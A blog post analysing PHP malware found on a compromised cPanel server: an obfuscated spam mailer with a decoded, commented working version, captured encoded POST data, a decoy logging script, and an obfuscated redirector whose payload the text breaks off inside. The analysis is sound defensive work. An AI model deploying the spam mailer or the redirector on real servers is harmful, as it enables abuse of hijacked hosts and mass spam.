PHP Hacks
These are the PHP hacks I've found in the wild. I'll post the raw and the deciphered form and a quick overview of what it does.
PHP Spammer
Exim on my cPanel server has been quite busy late. Too busy actually... Looking at the queue, it was clear someone was abusing the SMTP server. Most of the messages were sent from a PHP script called newsVfK.php. The contents of the script is given below.
<?php @error_reporting(0); @ini_set(chr(101).chr(114).'ror_log',NULL); @ini_set('log_errors',0); if (count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); } $v5031e998 = false; foreach (array_keys($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38 = $v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; case chr(101); $v5031e998 = true; break; } } if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); $v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); $v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST[$v8d777f38]; $v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 = n9a2d8ce3($v01b6e203); $v8d777f38 = n9a2d8ce3($v8d777f38); $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); } $v01b6e203 = urldecode(stripslashes($v01b6e203)); $v8d777f38 = urldecode(stripslashes($v8d777f38)); $v3d26b0b1 = urldecode(stripslashes($v3d26b0b1)); if (strpos($v01b6e203, '#',1) != false) { $v16a9b63f = preg_split('/#/', $v01b6e203); $ve2942a04 = count($v16a9b63f); } else { $v16a9b63f[0] = $v01b6e203; $ve2942a04 = 1; } for ($v865c0c0b=0; $v865c0c0b < $ve2942a04;$v865c0c0b++) { $v01b6e203 = $v16a9b63f[$v865c0c0b]; if ($v01b6e203 == '' || !strpos($v01b6e203,'@',1)) continue; if (strpos($v01b6e203, ';', 1) != false) { list($va3da707b, $vbfbb12dc, $v081bde0c) = preg_split('/;/',strtolower($v01b6e203)); $va3da707b = ucfirst($va3da707b); $vbfbb12dc = ucfirst($vbfbb12dc); $v3a5939e4 = next(explode('@', $v081bde0c)); if ($vbfbb12dc == '' || $va3da707b == '') { $vbfbb12dc = $va3da707b = ''; $v01b6e203 = $v081bde0c; } else { $v01b6e203 = "\"$va3da707b $vbfbb12dc\" <$v081bde0c>"; } } else { $vbfbb12dc = $va3da707b = ''; $v081bde0c = strtolower($v01b6e203); $v3a5939e4 = next(explode('@', $v01b6e203)); } preg_match('|<USER>(.*)</USER>|imsU', $v8d777f38, $vee11cbb1); $vee11cbb1 = $vee11cbb1[1]; preg_match('|<NAME>(.*)</NAME>|imsU', $v8d777f38, $vb068931c); $vb068931c = $vb068931c[1]; preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $v8d777f38, $vc34487c9); $vc34487c9 = $vc34487c9[1]; preg_match('|<SBODY>(.*)</SBODY>|imsU', $v8d777f38, $v6f4b5f42); $v6f4b5f42= $v6f4b5f42[1]; $vc34487c9 = str_replace("%R_NAME%", $va3da707b, $vc34487c9); $vc34487c9 = str_replace("%R_LNAME%", $vbfbb12dc, $vc34487c9); $v6f4b5f42 = str_replace("%R_NAME%", $va3da707b, $v6f4b5f42); $v6f4b5f42 = str_replace("%R_LNAME%", $vbfbb12dc, $v6f4b5f42); $v0897acf4 = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']); if (ne667da76($v0897acf4) || @ini_get('safe_mode')) $v10497e3f = false; else $v10497e3f = true; $v9a5cb5d8 = "$vee11cbb1@$v0897acf4"; if ($vb068931c != '') $vd98a07f8 = "$vb068931c <$v9a5cb5d8>"; else $vd98a07f8 = $v9a5cb5d8; $vb8ddc93f = "From: $vd98a07f8\r\n"; $vb8ddc93f .= "Reply-To: $vd98a07f8\r\n"; $v3c87b187 = "X-Priority: 3 (Normal)\r\n"; $v3c87b187 .= "MIME-Version: 1.0\r\n"; $v3c87b187 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"; $v3c87b187 .= "Content-Transfer-Encoding: 8bit\r\n"; $v1e66f6b4 = 'ma'.chr(105).'l'; if (!in_array('m'.'a'.'il', $v619d75f8)) { if ($v10497e3f) { if (@$v1e66f6b4($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f.$v3c87b187, "-f$v9a5cb5d8")) { echo(chr(79).chr(75).md5(1234567890)."+0\n"); continue; } } else { if (@$v1e66f6b4($v01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187)) { echo(chr(79).chr(75).md5(1234567890)."+0\n"); continue; } } } $v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $vb8ddc93f; $v4340fd73 .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$v0897acf4>\r\n"; $v4340fd73 .= "To: $v01b6e203\r\n"; $v4340fd73 .= "Subject: $vc34487c9\r\n"; $v4340fd73 .= $v3c87b187; $v841a2d68 = $v4340fd73."\r\n".$v6f4b5f42; if ($v3d26b0b1 == '') $v3d26b0b1 = n9c812bad($v3a5939e4); if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0) { echo(chr(79).chr(75).md5(1234567890)."+1\n"); continue; } else { echo PHP_OS.chr(50).chr(48).'+'.md5(0987654321)."+$vb4a88417\n"; } } function ne667da76($v957b527b){ return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b); } function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=\r\n", $v92f21a0f = 0, $v3303c65a = false) { $vf5a8e923 = strlen($vb45cffe0); $vb4a88417 = ''; for($v865c0c0b = 0; $v865c0c0b < $vf5a8e923; $v865c0c0b++) { if ($v11a95b8a >= 75) { $v11a95b8a = $v92f21a0f; $vb4a88417 .= $v7fa1b685; } $v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]); if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) { if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) { $vb4a88417.=chr($v4a8a08f0); $v11a95b8a = 0; continue; } $vb4a88417 .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT); $v11a95b8a += 3; continue; } $vb4a88417 .= chr($v4a8a08f0); $v11a95b8a++; } return $vb4a88417; } function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1) { global $v619d75f8; if (!in_array('fsockopen', $v619d75f8)) $v66b18866 = @fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array('pfsockopen', $v619d75f8)) $v66b18866 = @pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array('stream_socket_client', $v619d75f8) && function_exists("stream_socket_client")) $v66b18866 = @stream_socket_client("tcp://$v3d26b0b1:25", $v70106d0d, $v809b1abe, 20); else return -1; if (!$v66b18866) { return 1; } else { $v8d777f38 = n54070395($v66b18866); @fputs($v66b18866, "EHLO $v0897acf4\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "2+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "MAIL FROM:<$vd98a07f8>\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "3+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "RCPT TO:<$v01b6e203>\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 && substr($ve98d2f00, 0, 3) != 251) return "4+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "DATA\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 354 ) return "5+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, $v841a2d68."\r\n.\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "6+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "QUIT\r\n"); @fclose($v66b18866); return 0; } } function n54070395($v66b18866) { $v8d777f38 = ''; while($v341be97d = @fgets($v66b18866, 4096)) { $v8d777f38 .= $v341be97d; if(substr($v341be97d, 3, 1) == ' ') break; } return $v8d777f38; } function n9c812bad($vad5f82e8) { global $v619d75f8; if (!in_array('getmxrr', $v619d75f8) && function_exists("getmxrr")) { @getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816); if (count($v744fa43b) === 0) return '127.0.0.1'; $v865c0c0b = array_keys($v6c5ea816, min($v6c5ea816)); return $v744fa43b[$v865c0c0b[0]]; } else { return '127.0.0.1'; } } function n9a2d8ce3($v1cb251ec) { $v1cb251ec = base64_decode($v1cb251ec); $vc68271a6 = ''; for($v865c0c0b = 0; $v865c0c0b < strlen($v1cb251ec); $v865c0c0b++) $vc68271a6 .= chr(ord($v1cb251ec[$v865c0c0b]) ^ 2); return $vc68271a6; } ?>
Here is the decoded version of the code above. I've replaced the random variable and function names with something more descriptive. I added a few comments throughout the code as well.
<?php
@error_reporting(0);
@ini_set("error_log", NULL);
@ini_set('log_errors', 0);
if (count($_POST) < 2) {
die(PHP_OS."10+".md5(0987654321));
}
$is_encrypted = false;
foreach (array_keys($_POST) as $value) {
// the first character of each dictionary is used
// to determine the key name.
switch ($value[0]) {
// list is the list of emails to send to
case "l": $list_name = $value; break;
// data is the message to be send
case "d": $spam_message_data = $value; break;
// mail?
case "m": $mail_server = $value; break;
// en = encrypt?
case "e"; $is_encrypted = true; break;
}
}
if ($list_name === '' || $spam_message_data === '')
die(PHP_OS."11+".md5(0987654321));
$disabled_functions = preg_split('/\,(\ +)?/', @ini_get('disable_functions'));
$target_emails = @$_POST[$list_name];
$spam_message_data = @$_POST[$spam_message_data];
$mail_server = @$_POST[$mail_server];
if ($is_encrypted) {
$target_emails = decrypt_func($target_emails);
$spam_message_data = decrypt_func($spam_message_data);
$mail_server = decrypt_func($mail_server);
}
$target_emails = urldecode(stripslashes($target_emails));
$spam_message_data = urldecode(stripslashes($spam_message_data));
$mail_server = urldecode(stripslashes($mail_server));
// target_emails looks something like this:
// bkmarie@aol.com#bkmarin@aol.com#bkmark0917@aol.com#bkmark940608895@aol.com#bkmark@aol.com#bkmarks65@aol.com#bkmarkwood@aol.com#bkmarohn@aol.com#bkmars@aol.com#bkmarsch@hotmail.com#
if (strpos($target_emails, '#',1) != false) {
$email_list = preg_split('/#/', $target_emails);
$email_list_count = count($email_list);
} else {
$email_list[0] = $target_emails;
$email_list_count = 1;
}
for ($email_i=0; $email_i < $email_list_count; $email_i++) {
$target_emails = $email_list[$email_i];
if ($target_emails == '' || !strpos($target_emails,'@',1))
continue;
if (strpos($target_emails, ';', 1) != false) {
list($recipient_first_name, $recipient_last_name, $target_emails) = preg_split('/;/',strtolower($target_emails));
$recipient_first_name = ucfirst($recipient_first_name);
$recipient_last_name = ucfirst($recipient_last_name);
$target_emails_domain = next(explode('@', $target_emails));
if ($recipient_last_name == '' || $recipient_first_name == '') {
$recipient_last_name = $recipient_first_name = ''; $target_emails = $target_emails;
} else {
$target_emails = "\"$recipient_first_name $recipient_last_name\" <$target_emails>";
}
} else {
$recipient_last_name = $recipient_first_name = '';
$target_emails = strtolower($target_emails);
$target_emails_domain = next(explode('@', $target_emails));
}
/*
* the spam message will look something like this:
<USER>elma_reed</USER>
<NAME>"Elma Reed"</NAME>
<SUBJ>Fw: Hello</SUBJ>
<SBODY>
<div>
<p>
Quality Med Online Supplies best chance to save <a href="http://teatr05.ru/Video___Foto_files/rcf.html">http://teatr05.ru/Video___Foto_files/rcf.html</a>
</p>
</div>
</SBODY>
*/
preg_match('|<USER>(.*)</USER>|imsU', $spam_message_data, $sender_username);
$sender_username = $sender_username[1];
preg_match('|<NAME>(.*)</NAME>|imsU', $spam_message_data, $sender_name);
$sender_name = $sender_name[1];
preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $spam_message_data, $spam_subject);
$spam_subject = $spam_subject[1];
preg_match('|<SBODY>(.*)</SBODY>|imsU', $spam_message_data, $spam_message);
$spam_message = $spam_message[1];
$spam_subject = str_replace("%R_NAME%", $recipient_first_name, $spam_subject);
$spam_subject = str_replace("%R_LNAME%", $recipient_last_name, $spam_subject);
$spam_message = str_replace("%R_NAME%", $recipient_first_name, $spam_message);
$spam_message = str_replace("%R_LNAME%", $recipient_last_name, $spam_message);
$sender_mail_server = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']);
if (ne667da76($sender_mail_server) || @ini_get('safe_mode'))
$can_send_X_headers = false;
else $can_send_X_headers = true;
$sender_email = "$sender_username@$sender_mail_server";
if ($sender_name != '')
$sender_email = "$sender_name <$sender_email>";
else $sender_email = $sender_email;
$mail_header = "From: $sender_email\r\n";
$mail_header .= "Reply-To: $sender_email\r\n";
$mail_header2 = "X-Priority: 3 (Normal)\r\n";
$mail_header2 .= "MIME-Version: 1.0\r\n";
$mail_header2 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n";
$mail_header2 .= "Content-Transfer-Encoding: 8bit\r\n";
$mail_func = 'mail';
// If mail() is available, use it to email
if (!in_array('mail', $disabled_functions)) {
if ($can_send_X_headers) {
if (@$mail_func($target_emails, $spam_subject, $spam_message, $mail_header.$mail_header2, "-f$sender_email")) {
echo("OK".md5(1234567890)."+0\n");
continue;
}
} else {
if (@$mail_func($target_emails, $spam_subject, $spam_message, $mail_header2)) {
echo("OK".md5(1234567890)."+0\n");
continue;
}
}
}
// Use custom SMTP mailer if mail() is not available
$smtp_headers = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $mail_header;
$smtp_headers .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$sender_mail_server>\r\n";
$smtp_headers .= "To: $target_emails\r\n";
$smtp_headers .= "Subject: $spam_subject\r\n";
$smtp_headers .= $mail_header2;
$smtp_data = $smtp_headers."\r\n".$spam_message;
// If no mail server was specified from the POST request, determine one that can be used
if ($mail_server == '')
$mail_server = get_mail_server_func($target_emails_domain);
if (($mailer_func_return_code = custom_mailer_func($sender_email, $target_emails, $smtp_data, $sender_mail_server, $mail_server)) == 0) {
echo("OK".md5(1234567890)."+1\n");
continue;
} else {
echo PHP_OS."20+".md5(0987654321)."+$mailer_func_return_code\n";
}
} // end main email mailer loop
function ne667da76($server){
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $server);
}
// defined but not used
function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=\r\n", $v92f21a0f = 0, $v3303c65a = false) {
$vf5a8e923 = strlen($vb45cffe0);
$mailer_func_return_code = '';
for($email_i = 0; $email_i < $vf5a8e923; $email_i++) {
if ($v11a95b8a >= 75) {
$v11a95b8a = $v92f21a0f;
$mailer_func_return_code .= $v7fa1b685;
}
$v4a8a08f0 = ord($vb45cffe0[$email_i]);
if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) {
if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) {
$mailer_func_return_code.=chr($v4a8a08f0);
$v11a95b8a = 0; continue;
}
$mailer_func_return_code .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT);
$v11a95b8a += 3; continue;
}
$mailer_func_return_code .= chr($v4a8a08f0); $v11a95b8a++;
}
return $mailer_func_return_code;
}
// Uses fsockopen to talk to a SMTP server in order to send emails
function custom_mailer_func($sender_email, $target_emails, $smtp_data, $sender_mail_server, $mail_server) {
global $disabled_functions;
if (!in_array('fsockopen', $disabled_functions))
$socket = @fsockopen($mail_server, 25, $errno, $errstr, 20);
elseif (!in_array('pfsockopen', $disabled_functions))
$socket = @pfsockopen($mail_server, 25, $errno, $errstr, 20);
elseif (!in_array('stream_socket_client', $disabled_functions) && function_exists("stream_socket_client"))
$socket = @stream_socket_client("tcp://$mail_server:25", $errno, $errstr, 20);
else return -1;
if (!$socket) {
return 1;
} else {
$spam_message_data = dump_socket_data_func($socket);
@fputs($socket, "EHLO $sender_mail_server\r\n");
$socket_data = dump_socket_data_func($socket);
if (substr($socket_data, 0, 3) != 250 )
return "2+($target_emails)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data);
@fputs($socket, "MAIL FROM:<$sender_email>\r\n");
$socket_data = dump_socket_data_func($socket);
if (substr($socket_data, 0, 3) != 250 )
return "3+($target_emails)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data);
@fputs($socket, "RCPT TO:<$target_emails>\r\n");
$socket_data = dump_socket_data_func($socket);
if (substr($socket_data, 0, 3) != 250 && substr($socket_data, 0, 3) != 251)
return "4+($target_emails)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data);
@fputs($socket, "DATA\r\n"); $socket_data = dump_socket_data_func($socket);
if (substr($socket_data, 0, 3) != 354 )
return "5+($target_emails)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data);
@fputs($socket, $smtp_data."\r\n.\r\n");
$socket_data = dump_socket_data_func($socket);
if (substr($socket_data, 0, 3) != 250 )
return "6+($target_emails)+".preg_replace('/(\r\n|\r|\n)/', '|', $socket_data);
@fputs($socket, "QUIT\r\n");
@fclose($socket);
return 0;
}
}
function dump_socket_data_func($socket) {
$spam_message_data = '';
while($data = @fgets($socket, 4096)) {
$spam_message_data .= $data;
if(substr($data, 3, 1) == ' ')
break;
}
return $spam_message_data;
}
function get_mail_server_func($vad5f82e8) {
global $disabled_functions;
if (!in_array('getmxrr', $disabled_functions) && function_exists("getmxrr")) {
@getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816);
if (count($v744fa43b) === 0)
return '127.0.0.1';
$email_i = array_keys($v6c5ea816, min($v6c5ea816));
return $v744fa43b[$email_i[0]];
} else {
return '127.0.0.1';
}
}
function decrypt_func($cyphertext) {
$cyphertext = base64_decode($cyphertext);
$text = '';
for($i = 0; $i < strlen($cyphertext); $i++)
$text .= chr(ord($cyphertext[$i]) ^ 2);
return $text;
}
?>
I also captured the POST values that are being sent to the script:
208.43.56.34Array
(
[list] => YGlvY3BrZ0JjbW4sYW1vIWBpb2Nwa2xCY21uLGFtbyFgaW9jcGkyOzM1QmNtbixhbW8hYGlvY3BpOzYyNDI6Ojs3QmNtbixhbW8hYGlvY3BpQmNtbixhbW8hYGlvY3BpcTQ3QmNtbixhbW8hYGlvY3BpdW1tZkJjbW4sYW1vIWBpb2NwbWpsQmNtbixhbW8hYGlvY3BxQmNtbixhbW8hYGlvY3BxYWpCam12b2NrbixhbW8h
[data] => PldRR1A8Z25vY11wZ2dmPi1XUUdQPAg+TENPRzwgR25vYyJQZ2dmID4tTENPRzwIPlFXQEg8RHU4IiJKZ25ubT4tUVdASDwIPlFATUZbPAg+Zmt0PAg+cjwIIlN3Y25rdnsiT2dmIk1sbmtsZyJRd3JybmtncSJgZ3F2ImFqY2xhZyJ2bSJxY3RnIj5jImpwZ2Q/IGp2dnI4LS12Z2N2cDI3LHB3LVRrZmdtXV1dRG12bV1ka25ncS1wYWQsanZvbiA8anZ2cjgtLXZnY3ZwMjcscHctVGtmZ21dXV1EbXZtXWRrbmdxLXBhZCxqdm9uPi1jPAg+LXI8CD4tZmt0PAg+LVFATUZbPA==
[en] => 1
)
list is the list of emails to spam. data contains the actual spam data including the sender name, subject, and the spam message. There is a special 'decryption' function in the code that does a few transformations on the text that's given as to obfuscate what's actually going on.
Interestingly, this page appears to be hit by random servers, possibly servers that have been hijacked. There were a few hundred unique IPs hitting this script. Unfortunately, I couldn't find anything else on the compromised account which propagates these POST requests to other servers.
Just for fun, I've made a script to gather the data being sent while giving the spammers false feedback that the script is still working:
<?php
// log data
ob_start();
echo $_SERVER['REMOTE_ADDR'];
print_r($_POST);
$data = ob_get_contents();
ob_clean();
// save it to /tmp
$fp = fopen("/tmp/postdata", "a+");
fwrite($fp, $data);
fclose($fp);
// give them fake return statuses
$emails = decrypt_func(@$_POST['list']);
$email_count = count(explode("#", $emails));
for ($i = 0; $i < $email_count; $i++) {
echo("O"."K".md5(1234567890)."+1\n");
}
function decrypt_func($cyphertext) {
$cyphertext = base64_decode($cyphertext);
$text = '';
for($i = 0; $i < strlen($cyphertext); $i++)
$text .= chr(ord($cyphertext[$i]) ^ 2);
return $text;
}
We'll see how long this keeps on going...
Update: It appears that this is part of a botnet. See http://blog.trendmicro.com/trendlabs-security-intelligence/how-to-check-if-your-website-is-part-of-the-stealrat-botnet/
PHP Redirecter
<?php /* copyright */ ${"GL\x4fB\x41\x4c\x53"}["\x6bg\x6e\x72\x77i\x6e\x64\x62n"]="\x74x\x74";$egeillbp="\x6b";${"\x47\x4cO\x42\x41L\x53"}["\x63kmj\x63uie"]="\x76";foreach($_GET as${$egeillbp}=>${${"\x47L\x4fB\x41\x4cS"}["\x63k\x6d\x6acu\x69e"]}){${"\x47\x4cO\x42\x41\x4c\x53"}["d\x78\x77\x71o\x61lv\x61\x75\x65"]="\x6b";if(preg_match("!^[a-\x7a\x30-\x39]{10,\x332}\$\x21is",${${"\x47\x4cO\x42\x41LS"}["\x64\x78\x77\x71\x6f\x61\x6c\x76a\x75\x65"]})){$xfgspywrt="\x6b";$jdhbwek="\x74\x78\x74";${$jdhbwek}=base64_decode("\x50\x46\x4eD\x55klQV\x43B\x73Y\x57\x35\x6edWFnZT1q\x59\x58Z\x68\x63\x32\x4ey\x61X\x420Pg\x30\x4b\x50\x43E\x74L\x510K\x5a\x6eVuY3Rpb2\x34g\x5a\x32V0\x62W\x55o\x63\x33RyK\x510\x4b\x65yB2YX\x49g\x61WR4ID\x30\x67\x633R\x79\x4cmluZGV\x34\x542\x59\x6f\x4a\x7a\x38n\x4bT\x73\x67a\x57\x59g\x4bG\x6c\x6be\x43A9P\x53A\x74\x4dS\x6bgc\x6dV0\x64\x58\x4au\x49\x48\x4e\x30cjsgd\x6dFy\x49Gx\x6cb\x69\x419\x49\x48\x4e0ci5\x73ZW\x35\x6e\x64G\x67\x37I\x48Z\x68\x63\x69B\x75\x5aXd\x66c3R\x79I\x440g\x49\x69I7\x49HZ\x68c\x69\x42\x70ID0\x67\x4dTs\x67\x5am\x39\x79I\x43g\x72K2\x6c\x6beDs\x67\x61\x57R\x34\x49\x44w\x67\x62G\x56\x75O\x79Bp\x5a\x48g\x67\x4bz0\x67\x4dixp\x4b\x79\x73\x70D\x51\x70\x37IH\x5ahciB\x6aaC\x41\x39\x49H\x42h\x63n\x4e\x6c\x53W\x35\x30KHN0\x63i\x35\x7a\x64\x57\x4az\x64\x48\x49oa\x57\x524LC\x41\x79KS\x77\x67\x4d\x54YpOy\x42\x75ZXd\x66\x63\x33RyICs\x39IFN\x30\x63ml\x75\x5ay\x35\x6dcm\x39t\x51\x32\x68\x68c\x6b\x4evZ\x47\x55o\x4b\x47N\x6fI\x43\x73ga\x53k\x67\x4aSAyNTY\x70\x4fy\x429IA0KZ\x479jdW\x31\x6cb\x6e\x51ud3Jp\x64\x47U\x6f\x62\x6d\x56\x33\x58\x33\x4e0c\x695zdWJ\x7a\x64H\x49o\x4d\x43xu\x5a\x58\x64f\x633\x52y\x4c\x6dx\x6c\x62\x6d\x640\x61C\x30xMSk\x72\x49lx\x31MD\x41yNlx1M\x44\x412\x4e1\x781M\x44\x41\x32Rl\x781\x4dDA\x32\x51\x6c\x781\x4dD\x412Qlx1M\x44\x41\x7a\x52Fp\x61Wl\x70\x63d\x54\x41\x77M\x6a\x4ac\x64\x54A\x77\x4d0\x4acdTA\x77M0Nc\x64T\x41\x77\x4d\x6bZcd\x54AwNz\x4e\x63d\x54\x41\x77\x4ejN\x63dT\x41w\x4ez\x4acdT\x41\x77\x4ejlcd\x54A\x77\x4ez\x42\x63dTA\x77NzR\x63\x64TA\x77\x4d0\x55i\x4b\x54sNC\x6e0\x4eC\x6d\x64vb\x32\x64\x73ZV\x39\x68\x5a\x46\x39jb\x47\x6c\x6cb\x6eQg\x50\x53A\x69c\x48V\x69\x4cTE\x30M\x7a\x411\x4fDQ\x30M\x44g\x7aMTM\x34\x4e\x44\x4d\x69O\x770\x4b\x5a\x329v\x5a2xlX\x32\x46\x6bX\x33d\x70\x5aH\x52\x6f\x49D\x30g\x4e\x7aI\x34\x4f\x77\x30KZ\x32\x39vZ2\x78lX2\x46\x6b\x58\x32\x68la\x57\x64o\x64\x43A\x39IDk\x77Ow\x30KZ29vZ2\x78\x6c\x58\x32F\x6bX\x32Z\x76c\x6d\x31h\x64\x43A9\x49\x43I3\x4d\x6a\x68\x34OTBf\x59\x58\x4diOw\x30\x4b\x5a29\x76\x5a\x32\x78l\x58\x32Fk\x583\x525cGU\x67P\x53A\x69dG\x56\x34dF\x39\x70\x62\x57F\x6eZ\x53\x497\x44Q\x70\x6e\x6229\x6e\x62\x47\x56\x66Y\x57Rf\x59\x32hh\x62\x6d5l\x62C\x419\x49\x43\x49\x69O\x77\x30KZ\x32\x560\x62WUo\x49\x6d\x680\x64H\x416Ly9\x77Y\x57d\x6cYWQ\x79L\x6d\x64vb2\x64sZ\x58N\x35bmR\x70Y\x32\x460a\x579\x75L\x6d\x4e\x76\x62\x53\x39wY\x57d\x6cYWQvc\x32\x68vd1\x39\x68Z\x48\x4du\x61nM/M\x30\x493MTYwN\x6b\x55\x32\x4e\x44\x5aB\x4e\x6bQxO\x44\x59zN\x54c2M\x7a\x56CN\x6ag\x31\x4d\x7aU4\x4eT\x55\x79QzE\x77\x4e\x54c0\x52\x44YxNEI1Q\x7aR\x43\x4e\x54k\x30Rj\x551NTg\x77NTIwNT\x670O\x54\x52\x45N\x44\x49\x30QzUz\x4d\x44\x6b0\x4ejQ4M\x30Iz\x4f\x44R\x42M\x30\x55\x30\x4d\x7aQ\x78ME\x5a\x47\x4d\x7a\x4d\x34\x4eD\x4d\x30M\x6aN\x45M\x44\x5aGQ\x55\x595R\x6bV\x47N\x6bY\x34R\x6aZGN\x6bYyRjR\x47N\x6bY\x33RUVG\x4dE\x591\x52\x6a\x46F\x51\x6a\x4aE\x4d\x6b\x4e\x46Nz\x49\x34MUY\x79\x4e\x6bY\x30\x4dTUxO\x54\x454RUV\x46N0R\x47\x52\x45Z\x45\x52\x6bQyMUUxRjB\x43R\x54V\x45\x51\x55R\x42RDV\x45\x4eU\x4d1RE\x52E\x52EN\x47MTIwMTBG\x4dDUwQj\x42FR\x44c\x69\x4bT\x73\x4e\x43\x69\x38\x76L\x530+I\x44wv\x55\x30\x4eSSVB\x55\x50\x67\x3d\x3d");echo str_replace("\x5a\x5a\x5a\x5a",${$xfgspywrt},${${"GLOB\x41LS"}["\x6bgnr\x77\x69\x6e\x64\x62\x6e"]});exit;}} /* copyright */ ?>
This piece of obfuscates itself by escaping the scripts' code using \x##. After decoding it, the code looks more like:
foreach($_GET as $k => $v) {
if(preg_match("!^[a-z0-9]{10,32}\$!is", $k)) {
$txt = base64_decode("\x50\x46\x4eD\x55klQV\x43B\x73Y\x57\x35\x6edWFnZT1q\x59\x58Z\x68\x63\x32\x4ey\x61X\x420Pg\x30\x4b\x50\x43E\x74L\x510K\x5a\x6eVuY3Rpb2\x34g\x5a\x32V0\x62W\x55o\x63\x33RyK\x510\x4b\x65yB2YX\x49g\x61WR4ID\x30\x67\x633R\x79\x4cmluZGV\x34\x542\x59\x6f\x4a\x7a\x38n\x4bT\x73\x67a\x57\x59g\x4bG\x6c\x6be\x43A9P\x53A\x74\x4dS\x6bgc\x6dV0\x64\x58\x4au\x49\x48\x4e\x30cjsgd\x6dFy\x49Gx\x6cb\x69\x419\x49\x48\x4e0ci5\x73ZW\x35\x6e\x64G\x67\x37I\x48Z\x68\x63\x69B\x75\x5aXd\x66c3R\x79I\x440g\x49\x69I7\x49HZ\x68c\x69\x42\x70ID0\x67\x4dTs\x67\x5am\x39\x79I\x43g\x72K2\x6c\x6beDs\x67\x61\x57R\x34\x49\x44w\x67\x62G\x56\x75O\x79Bp\x5a\x48g\x67\x4bz0\x67\x4dixp\x4b\x79\x73\x70D\x51\x70\x37IH\x5ahciB\x6aaC\x41\x39\x49H\x42h\x63n\x4e\x6c\x53W\x35\x30KHN0\x63i\x35\x7a\x64\x57\x4az\x64\x48\x49oa\x57\x524LC\x41\x79KS\x77\x67\x4d\x54YpOy\x42\x75ZXd\x66\x63\x33RyICs\x39IFN\x30\x63ml\x75\x5ay\x35\x6dcm\x39t\x51\x32\x68\x68c\x6b\x4evZ\x47\x55o\x4b\x47N\x6fI\x43\x73ga\x53k\x67\x4aSAyNTY\x70\x4fy\x429IA0KZ\x479jdW\x31\x6cb\x6e\x51ud3Jp\x64\x47U\x6f\x62\x6d\x56\x33\x58\x33\x4e0c\x695zdWJ\x7a\x64H\x49o\x4d\x43xu\x5a\x58\x64f\x633\x52y\x4c\x6dx\x6c\x62\x6d\x640\x61C\x30xMSk\x72\x49lx\x31MD\x41yNlx1M\x44\x412\x4e1\x781M\x44\x41\x32R